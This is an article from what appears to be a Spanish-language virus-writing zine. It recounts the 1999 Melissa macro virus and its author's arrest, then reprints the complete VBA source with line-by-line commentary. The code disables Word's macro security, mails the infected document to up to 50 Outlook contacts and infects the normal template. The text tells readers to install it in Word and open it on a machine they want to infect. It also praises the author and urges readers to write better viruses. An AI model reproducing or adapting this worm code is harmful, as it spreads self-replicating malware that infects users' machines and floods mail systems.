Grandes Seres en la historia de la informatica
 By
  Vil Roach

Was up ? seres perversos y extraos ( bueno al menos eso espero ) ; esta seccion , como lo dice
su titulo , se va a encargar de analisar a ciertos seres que se han destacado sobre otros y han
logrado colarse en los anales de la historia de la informatica ;) estoy hablando por supuesto de
los mejores o mas originales virus informaticos de la historia ! Interesante no les parece ?

Esta seccion servira como complemento a otras secciones de la revista que tratan sobre virus , 
pero aqui entraremos en un terreno mas practico al analizar piezas de codigo reales que sacudie
ron el mundo ! , en su epoca , claro esta .

La estrella de la noche 

Seoras y Seores , lo que todos estaban esperando el invitado principal de la noche : El Virus 
Melissa (Se escuchan ohh's y ahh's al fondo) , si seores, uno de los virus mas famosos de la 
historia y talvez el que dividio la historia de el codigo viviente en dos .T odo comenzo el 
viernes 26 de marzo del ao 1999 , a miles de usuarios les llego un correo electronico enviado 
por un amigo en el que se leia el titulo "Important message from pepe ( o el nombre de alguien 
a quien le hayamos mandado un e-mail) " y el cuerpo de mensaje "Here is that document you asked 
for ...don't show anyone else ;-)" algo al parecer muy inofensivo , y con un archivo .doc 
adjunto , los usuarios estupidos abrian el documento , ignorando la advertencia de Ms-Word sobre
 la presencia de macros en el documento , y luego aparentemente no pasaba nada ; simplemente el 
mismo mensaje era enviado a 50 dirrecciones de correo distintas , cuyos 50 propietarios harian 
la misma estupidez.

Y precisamente ahi residia el poderio de melissa en usar un metodo de comunicacion mundialmente 
difundido como el e-mail , un par de programas mundialmente usados como el  Ms Word y Ms Outlook
y en camuflarse bajo un disfraz de un simple mensaje inofensivo de esos que nos mandan todos los
dias . A partir de ese dia y durante los proximos dos dias melissa se expandio por todo el mundo
infectando miles de computadores y segun informes de diferentes empresas , congestionado sus sis
temas de correo hasta tumbarlos , provocando "millonarias perdidas" , todo lo anterior segun las
empresas , sera cierto que el no poder usar el micrsoft outlook , puede provocar miles de 
perdidas en millones de dolares ?

Nuestra historia continua cuando los medios de comunicacion queriendose aprovechar de una figura
tan mistica para la gente comun , como son los virus de computador , forma un tremendo alboroto
haciendo parecer que melissa era una gran amenaza para la gente misma , y despliega una gran 
campaa sensacionalista en la que descubre que existe unos seres que se dedican a hacer virus 
de computador y que se agrupan en bandas , y los muestra como pandilleros y locos pro-apocalipti
cos pero si el gran publico estaba convencido de todas estas mentiras , tambien lo tenia que 
estar el gran hermano , y el FBI comienza una serie de pesquizas y entrevistas para encontrar 
al autor de melissa , el servidor SOK.com (Source Of Kaos) debe ser cerrado permanentemente 
(cayendo de esta forma el 90% de los sitios de virus en Internet), el sitio coderz.net casi se 
cierra , pero al final se logra un pacto ,el FBI determina que los principales sospechosos son 
VicodinEs y Alt-F11 , ambos miembros del AVM ( Alternative Virus Mafia ) ,  y debido a las relac
iones de AVM con el grupo Codebreakers , el servidor de codebreakers.org es decomisado y muchos
entes comienzan a interesarse en las identidades verdaderas de los miembros de Codebreakers , fi
nalmente AOL ( America On Line ) determina el numero telefonico desde donde fue liberado melissa
 y Davis L. Smith (THE-MAN)es arrestado en la casa de sus hermanos en new jersey y se le acusa 
de varios cargos por los cuales en caso de ser declarado culpable pagaria 40 aos de carcel y 
cerca de medio millon de dolares en multas , sin contar el juicio civil que se realizaria luego.

Bueno basta ya de historia patria ahora lo unico que queda es desearle lo mejor a David "The Man
" Smith y analizar su precioso codigo para comprender realmente que es lo que hace el virus y no
 tener que basarnos en las tontas declaraciones de la prensa o en las presuntuosas descripciones
 de los Antivirus.


Este es el codigo fuente en VBA del virus melissa , si desean "testearlo" simplemete abran el 
editor de VisualBasic en Word ; en un documento creen un nuevo modulo llamado melissa , guarden
lo y asegurense de abrirlo solo en un computador que quieran infectar ;)


Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

///////////////////////////////////////////////////////////////////////////////////////////////
'El codigo anterior simplemente mira en el registro las opciones de seguridad de word y en base
'a esto desactiva ciertas opciones del menu , luego hace lo tipico de desactivar las opciones de
'proteccionde virus , la de guardar la plantilla normal y la de preguntar si se convorte el for
'mato de un archivo
///////////////////////////////////////////////////////////////////////////////////////////////
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
///////////////////////////////////////////////////////////////////////////////////////////////
'Crea una instancia de outlook y lo guarda en la variable UngaDasOutlook hace lo mimo con el 
'motor mapi de outlok
///////////////////////////////////////////////////////////////////////////////////////////////
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
///////////////////////////////////////////////////////////////////////////////////////////////
'se fija si en este PC ya se realizo un bombrdeo de e-mail
///////////////////////////////////////////////////////////////////////////////////////////////
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
///////////////////////////////////////////////////////////////////////////////////////////////
'La parta mas intersante de todo el codigo!
'lo que hace es conectarse con el motor de mapi , luego hace un bucle recorriendo las direccione
's de la libreta del usuario (Maximo hasta 50) , y construye un mensaje con el cuerpo y el 
'encabezado que comentamos antes , le adjunta el documento activo , y lo envia , cuando recorre
'toda la libreta se desconecta , y fija una cadena en el registro para evitar realizar otro 
'bombardeo desde el mimo PC.
///////////////////////////////////////////////////////////////////////////////////////////////
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  Set ToInfect = ADI1
  ADI1.Name = "Melissa"
  DoAD = True
End If

If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If
///////////////////////////////////////////////////////////////////////////////////////////////
'El codigo anterior se cerciora de si el virus esta en el documento activo o en normal.dot
'en base a esto define la variable ToInfect como NTI1(Normal Template) o ADI1(Act.Document)   
///////////////////////////////////////////////////////////////////////////////////////////////
If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
  Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If
///////////////////////////////////////////////////////////////////////////////////////////////
'Esta rutina infecta la plantilla normal.dot copiando las lineas de codigo desde el documento 
'activo
///////////////////////////////////////////////////////////////////////////////////////////////
If DoAD = True Then
  Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If
///////////////////////////////////////////////////////////////////////////////////////////////
'Esta rutina infecta el documento activo copiando las lineas desde la plantilla normal.dot
///////////////////////////////////////////////////////////////////////////////////////////////
CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  ActiveDocument.Saved = True 
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub
///////////////////////////////////////////////////////////////////////////////////////////////
'Esta rutina se ejecuta luego de infectar algo o cuando el doc, la plantilla ya estan infectados
'lo que hace es guardar el documento si este tiene un nombre diferente a documentX (para evitar
'guardar un documento nuevo , y luego si el dia es igual al minuto actual escribe un pequeo tex
'to en el documento actual 
'Traduccion del comentario
'WORD/Melissa escrito por Kwyjibo
'Trabaja en Word 2000 y en Word 97
'Worm? Virus de Macro? Virus de Word 97 ? Virus de Word 2000 ? Tu lo decides
'Word -> Email | Word 97 <--> Word 2000 ... Es una nueva era!
///////////////////////////////////////////////////////////////////////////////////////////////
Definitivamente tenia razon Kwyjibo era el commienzo de una nueva era , sobre todo para el , lo
que yo me pregunto es : como se le habra ocurrido ? habra entendido la magnitud del descubrimien
to? se imaginaria lo que iba pasar? tendria todo planeado? en fin , son demasiadas preguntas y
muy pocas respuestas , creo que lo unico que queda por hacer es hacer aun muchos mejores bichos
con tecnicas revolucionarias , para que ni melissa ni el se sientan solos en este mundo de medio
cres y lamers , con tan pocas personas que valen la pena .



    Long Live to David L. Smith and Death to the Fucking Bastards of Incompetence F.B.I





                    A Coproduccion Kwyjibo/VilRoach . All rigths reserved 
 


                                Vil Roach Infesting The World 


 










                                                                              Viva La Cucaracha!